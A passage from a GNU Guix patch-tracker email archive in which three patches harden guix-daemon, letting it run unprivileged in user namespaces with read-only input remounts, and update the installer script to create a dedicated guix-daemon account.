 8Bn5gsTwkeA4cNudbPPwMc+w3crleX4kuqAGwqXEa06ji7xizESnOYV+1A4SG2Q1EfBXLxRxGVq0B
 +W7K1GWe6h5txqcmQQ8jwVUJ53IsGp2zwGTIqtLgsDaJTo5UmovlIiZfWncSuoUUGQpCnf+w5J4nX
 gIUPTTP9g8GXu1rGwefBw5Np70c6pc+r4CrZoAsq0lar3seaazbiCLQGrpqZ3ArqA3TZodkYwYnyp
 bdPDjK3eoAum8g==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 3/9] daemon: Remount inputs as read-only.
Date: Thu, 13 Feb 2025 13:13:06 +0100
Message-ID: <15b9f858aa6c636cd02801c35bbcc467a184d1b0.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.3 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.3 (-)

* nix/libstore/build.cc (DerivationGoal::runChild): Remount ‘target’ as
read-only.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ib7201bcf4363be566f205d23d17fe2f55d3ad666
---
 nix/libstore/build.cc | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index f4cd2131c84..7151bb6c6f1 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2094,8 +2094,15 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
+
+		/* Extra flags passed with MS_BIND are ignored, hence the
+		   extra MS_REMOUNT.  */
                 if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
+		if (source != tmpDir) {
+		     if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+			  throw SysError(format("read-only remount of `%1%' failed") % target);
+		}
             }
 
             /* Bind a new instance of procfs on /proc to reflect our
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:55 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:55 2025
Received: from localhost ([127.0.0.1]:41138 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6M-0003ec-I4
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:55 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:41590)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY65-0003cl-Tb
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:39 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY60-0001Dd-Ik; Thu, 13 Feb 2025 07:13:32 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=1rCJ8nHLWbW07YSX+p8fFleVwPMsQATsuCgNH7lgBhY=; b=sZdI5b+j4u5+MGlvoq0F
 KF73lz5gFGF634y+I710soMF4QEEIcwEcfqVZLA03sjMQ39UNO5U7i5E56iBGQAEd2D366bZDtJsf
 bBYxl6/+DlpDtTMPGvRE+nhfkEdZk/m65/UvVVBWPRwpVydYYzWWB6kUAxl+gAyyqens1LRuvKDUH
 F5i+xIhne/Sma7IG4zc37gxPmqm8f9IqIXO2LJox2nDgj4NZ6KUJ55gD7uphcmfUqUrkuF3x1QM0L
 o4DEHMSovpAmxnLd0jrUFyLtACzMF94Lw5a6MhGCVNeKL4fYJ1kGFGwzv33M6+i1ZaRhdRYqxQDkJ
 Lo0J1T3ew3Rz3A==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 9/9] guix-install.sh: Support the unprivileged daemon where
 possible.
Date: Thu, 13 Feb 2025 13:13:12 +0100
Message-ID: <107f6e7972e083aa645e8a1bc121750c4d94fc1f.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.
(sys_enable_guix_daemon): Do not install ‘gnu-store.mount’ when running
an unprivileged daemon.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 114 +++++++++++++++++++++++++++++++++++---------
 1 file changed, 91 insertions(+), 23 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index f07b2741bb9..4f08eff8476 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -389,6 +389,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg "${INF}Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg "${INF}Linking the root user's profile"
@@ -414,38 +419,82 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg "${INF}user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg "${PAS}user added <$user>"
+    fi
+}
+
+can_install_unprivileged_daemon()
+{ # Return true if we can install guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \
+	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg "${INF}group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg "${PAS}group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg "${INF}group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg "${INF}user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg "${PAS}user added <guixbuilder${i}>"
-        fi
-    done
+    if [ "$INIT_SYS" = systemd ] && \
+	   grep -q "User=guix-daemon" \
+		~root/.config/guix/current/lib/systemd/system/guix-daemon.service
+    then
+	if getent group guix-daemon > /dev/null; then
+	    _msg "${INF}group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg "${PAS}group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon	\
+	      /gnu /var/guix
+
+	# The unprivileged cannot create the log directory by itself.
+	mkdir /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg "${INF}group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg "${PAS}group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -460,6 +509,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg "${INF}remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -503,7 +560,14 @@ sys_enable_guix_daemon()
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
               # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      #
+	      # FIXME: This feature is unavailable when running an
+	      # unprivileged daemon.
+	      if ! grep -q "User=guix-daemon" \
+		   /etc/systemd/system/guix-daemon.service
+	      then
+		  install_unit gnu-store.mount
+	      fi
 
               systemctl daemon-reload &&
                   systemctl start  guix-daemon; } &&
@@ -627,6 +691,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg "${PAS}Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg "${INF}Skipped authorizing build farm public keys"
     fi
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:54 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:54 2025
Received: from localhost ([127.0.0.1]:41136 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6L-0003eY-Fb
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:54 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51236)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY61-0003cN-Kt
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5v-0001C4-8t; Thu, 13 Feb 2025 07:13:27 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=X9e3xrOrc9fu+8aX5VR4ar43pNbWOZRcdzd3TBJnZvU=; b=YmqmF8Ywz7zJ2XFU5LDe
 xMPvsgIq7+pQlxqfZ+QdNCbsilpruzH09/+/BlXMKtsc8Iqig2Qi34NE+3Ck7/T7OtAHEcDCMLM4Z
 6f1EA3jb7u+9APSQqvOE0tq/dhkx4o8bN8NVaGMnxQKucvO100kaeemId8nEjQPHP8JmgwmuuNbf/
 TiLyRkaV6NysNr3Hfivdt7xv4rg7YP3mV8iD3pd4f93sicvJk/2bi3iffUqC0hUDXPbJs2oD9Y1YL
 1EYng8QyiP5IYJFxMzNGeBsLuqXfKZAbGWN6I3ET9+X5PbiqJhRNNV95IC59jGT1bp0xdcT69yesJ
 fN+Dzt8t9jfNBA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 4/9] daemon: Allow running as non-root with unprivileged
 user namespaces.
Date: Thu, 13 Feb 2025 13:13:07 +0100
Message-ID: <eb3f91a7e866f9a1565afd094a158269f548b89e.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludovic.courtes@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(DerivationGoal)[readiness]: New field.
(initializeUserNamespace): New function.
(DerivationGoal::runChild): When ‘readiness.readSide’ is positive, read
from it.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.

Change-Id: I38fbe01f80fb45a99cd8a391e55a39a54d64fcb7
---
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 128 +++++++++++++++++++++++++++++-------
 nix/libstore/local-store.cc |  22 +++++--
 3 files changed, 123 insertions(+), 31 deletions(-)

diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index e31b3940203..2761a3dafb4 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2013-2021, 2023-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2013-2021, 2023-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2014 Nikita Karetnikov <nikita@HIDDEN>
 ;;; Copyright © 2018 Kyle Meyer <kyle@HIDDEN>
 ;;; Copyright © 2020 Christopher Baines <mail@HIDDEN>
@@ -76,7 +76,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 7151bb6c6f1..18dd27460b7 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -747,6 +747,10 @@ private:
 
     friend int childEntry(void *);
 
+    /* Pipe to notify readiness to the child process when using unprivileged
+       user namespaces.  */
+    Pipe readiness;
+
     /* Check that the derivation outputs all exist and register them
        as valid. */
     void registerOutputs();
@@ -1622,6 +1626,25 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child)
+{
+    auto hostUID = getuid();
+    auto hostGID = getgid();
+
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1685,7 +1708,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1802,7 +1825,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1821,8 +1844,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1857,7 +1880,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1948,14 +1971,34 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	if ((flags & CLONE_NEWUSER) != 0) {
+	     /* Initialize the UID/GID mapping of the child process.  */
+	     initializeUserNamespace(pid);
+	     writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	}
     } else
 #endif
     {
@@ -2001,23 +2044,34 @@ void DerivationGoal::runChild()
 
         _writeToStderr = 0;
 
+	if (readiness.readSide > 0) {
+	     /* Wait for the parent process to initialize the UID/GID mapping
+		of our user namespace.  */
+	     char str[20] = { '\0' };
+	     readFull(readiness.readSide, (unsigned char*)str, 3);
+	     if (strcmp(str, "go\n") != 0)
+		  throw Error("failed to initialize process in unprivileged user namespace");
+	}
+
         restoreAffinity();
 
         commonChildInit(builderOut);
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2447,8 +2501,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2707,8 +2769,25 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			chown(tmpDir.c_str(), getuid(), getgid());
+		    }
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
+		}
 
 		if (top != tmpDir) {
 		    // Rename tmpDir to its parent, with an intermediate step.
@@ -2717,6 +2796,11 @@ void DerivationGoal::deleteTmpDir(bool force)
 			throw SysError("pivoting failed build tree");
 		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
 			throw SysError("renaming failed build tree");
+
+		    if (getuid() != 0)
+			/* Running unprivileged but with CAP_CHOWN.  */
+			chown(top.c_str(), uid, gid);
+
 		    rmdir(pivot.c_str());
 		}
             }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbcee..4308264a4f3 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -306,14 +306,14 @@ void LocalStore::openDB(bool create)
 void LocalStore::makeStoreWritable()
 {
 #if HAVE_UNSHARE && HAVE_STATVFS && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_REMOUNT)
-    if (getuid() != 0) return;
     /* Check if /nix/store is on a read-only mount. */
     struct statvfs stat;
     if (statvfs(settings.nixStore.c_str(), &stat) != 0)
         throw SysError("getting info about the store mount point");
 
     if (stat.f_flag & ST_RDONLY) {
-        if (unshare(CLONE_NEWNS) == -1)
+	int flags = CLONE_NEWNS | (getpid() == 0 ? 0 : CLONE_NEWUSER);
+        if (unshare(flags) == -1)
             throw SysError("setting up a private mount namespace");
 
         if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIND, 0) == -1)
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
